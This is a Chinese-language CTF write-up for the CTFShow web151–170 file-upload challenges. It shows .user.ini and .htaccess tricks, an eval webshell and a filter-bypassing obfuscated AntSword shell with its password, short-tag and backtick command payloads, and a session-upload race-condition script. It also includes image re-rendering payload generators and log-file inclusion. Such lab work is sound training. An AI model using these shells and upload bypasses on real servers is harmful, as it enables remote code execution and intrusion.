CTFShow web151-170 (文件上传)

web151

前端检测类型,burp抓包修改文件名称即可

文件上传思路,先上传一张图片马,再慢慢测试过滤规则(文件名,之类的)

CTFShow web151-170 (文件上传)_第1张图片
CTFShow web151-170 (文件上传)_第2张图片

web152

思路和前面的一致

web153

上传.user.ini配置文件 原理:https://www.dazhuanlan.com/2020/03/08/5e641cbc397c2/
防挂 https://www.cnblogs.com/l0nmar/p/14053889.html

发现很容易上传如php5,phtml等类型文件,但是不解析.通过插件识别为nginx服务器,尝试上传.user.ini,发现上传成功
CTFShow web151-170 (文件上传)_第3张图片

文件内容:

auto_prepend_file = 1.php

然后上传一张图片马,1.php
内容:

phpinfo();
@eval($_POST['hacker']);

然后访问 /upload/index.php
CTFShow web151-170 (文件上传)_第4张图片
再用蚁剑连接
CTFShow web151-170 (文件上传)_第5张图片

web154

先上传.user.ini,再上传图片马,再访问/upload/index.php , 蚁剑连接

在前面一题的基础上增加了内容过滤,过滤了php , 可以用大小写来绕过
CTFShow web151-170 (文件上传)_第6张图片

web155

短标签绕过, 关于短标签内容参考https://www.cnblogs.com/dongguol/p/5910617.html

经过测试,题目应该是严格过滤了php 大小写也没办法绕过

用正常的标签 肯定会被拦截,所以只能用短标签

上传.user.ini 再上传1.png
CTFShow web151-170 (文件上传)_第7张图片
短标签:

 echo '123';?> //short_open_tags=on
(表达式)?>  等价于  echo (表达式)?> //无限制
<% echo '123';%> //asp_tags=on php_version < 7
<script language=”php”>echo '123'; </script> //php_vsesion < 7

web156

经过测试过滤了[ ,可以用{}代替[],其它的步骤和前面几个一致
CTFShow web151-170 (文件上传)_第8张图片

web157

又过滤了;{ ,可以
CTFShow web151-170 (文件上传)_第9张图片

web158

`nl ../flag.ph*`?>

CTFShow web151-170 (文件上传)_第10张图片

web159

`nl ../*`?>

CTFShow web151-170 (文件上传)_第11张图片

web160

先上传.user.ini
再上传1.png 内容 (log被过滤)
再修改user-agent
蚁剑连接即可
这里直接包含flag的话会报错CTFShow web151-170 (文件上传)_第12张图片
CTFShow web151-170 (文件上传)_第13张图片
因为include_path的限制
在这里插入图片描述
前面的web159可以nl ../* 是因为像system();等函数不收include_path或者open_basedir的限制 , 还有include()不支持正则表达式?

web161

对文件头做了检测 用getimagesize()

可参考 : https://blog.csdn.net/weixin_43915842/article/details/90183305

png图片头:89 50 4E 47 0D 0A 1A 0A, 后面还要填充一些字节:
CTFShow web151-170 (文件上传)_第14张图片

CTFShow web151-170 (文件上传)_第15张图片
然后
CTFShow web151-170 (文件上传)_第16张图片
然后蚁剑连接
CTFShow web151-170 (文件上传)_第17张图片

web162

再前一题的基础上又过滤了.
CTFShow web151-170 (文件上传)_第18张图片
包含不了.log文件了,尝试包含session文件
CTFShow web151-170 (文件上传)_第19张图片
脚本:

# coding=utf-8
import io
import requests
import threading

sessID = 'test'
url = 'http://4d8cde0e-3cf5-4445-981f-459de20247ef.chall.ctf.show/'

def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 256 * 1)
        response = session.post(
            url,
            cookies={
     'PHPSESSID': sessID},
            data={
     'PHP_SESSION_UPLOAD_PROGRESS': ''},
            files={
     'file': ('test.txt', f)}
        )

def read(session):
    while event.isSet():
        response = session.get(url + 'upload/index.php'.format(sessID))
        if 'flag' in response.text:
            print(response.text)
            event.clear()
        else:
            print('[*]retrying...')


if __name__ == '__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()

web163

和上一题一样,也可以直接包含/tmp/sess_test , 脚本同上
CTFShow web151-170 (文件上传)_第20张图片

web164

后端进行二次渲染 ,利用 imagecreatefrompng().
png和jpg要利用脚本生成图片马,gif文件只需要将图片下载回来对照,shell写入未改动的区域

二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

渲染脚本:
png:


$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
     
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

CTFShow web151-170 (文件上传)_第21张图片
然后
CTFShow web151-170 (文件上传)_第22张图片
至于为什么能当成PHP文件解析,可以查看后端代码,直接包含了图片文件
CTFShow web151-170 (文件上传)_第23张图片

web165

jpg文件二次渲染,脚本:


    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php 

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
     
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
     
        die('php jpg_payload.php ');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
     
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
     
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
     
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
     
                $startPos = $dis->seek();
                $outStreamTmp =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    str_repeat("\0",$nullbytePayloadSize) .
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
     
                    while((!$dis->eof())) {
     
                        if($dis->readByte() === 0xFF) {
     
                            if($dis->readByte !== 0x00) {
     
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream =
                        substr($outStream, 0, $startPos) .
                        $miniPayload .
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
     
                    $outStream = $outStreamTmp;
                } else {
     
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
     
                    die('Success!');
                } else {
     
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
     
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
     
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
     
            if(isset($m[1])) {
     
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
     
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
     
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
     
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
     
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
     
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
     
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
     
            if($this->eof()) {
     
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
     
            if(strlen($this->binData) < 2) {
     
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
     
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
     
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
     
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

先随便上传一张jpg文件到服务器,再下载回来
再用php exp.php 1.jpg,再上传即可

web166

只在前端做了限制,限制后缀名为zip,可上传任意文件并解析
CTFShow web151-170 (文件上传)_第24张图片
CTFShow web151-170 (文件上传)_第25张图片
看后端代码还是直接include
CTFShow web151-170 (文件上传)_第26张图片

web167

httpd-apache2服务器
上传.htaccess文件 ,任意文件解析为php
CTFShow web151-170 (文件上传)_第27张图片
CTFShow web151-170 (文件上传)_第28张图片
CTFShow web151-170 (文件上传)_第29张图片

web168

直接蚁剑生成免杀shell

 // 使用时请删除此行, 连接密码: TyKPuntU ?>
 $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

web169

有点小坑,前端做了校验只能传zip文件,后端又做了图片文件检查.
过滤了<>php,可以上传配置文件绕过
CTFShow web151-170 (文件上传)_第30张图片
CTFShow web151-170 (文件上传)_第31张图片
蚁剑连接可能有问题,可以直接执行命令

web170

包含日志文件
CTFShow web151-170 (文件上传)_第32张图片
空的1.php文件
CTFShow web151-170 (文件上传)_第33张图片

蚁剑连接
CTFShow web151-170 (文件上传)_第34张图片

你可能感兴趣的:(CTF,php)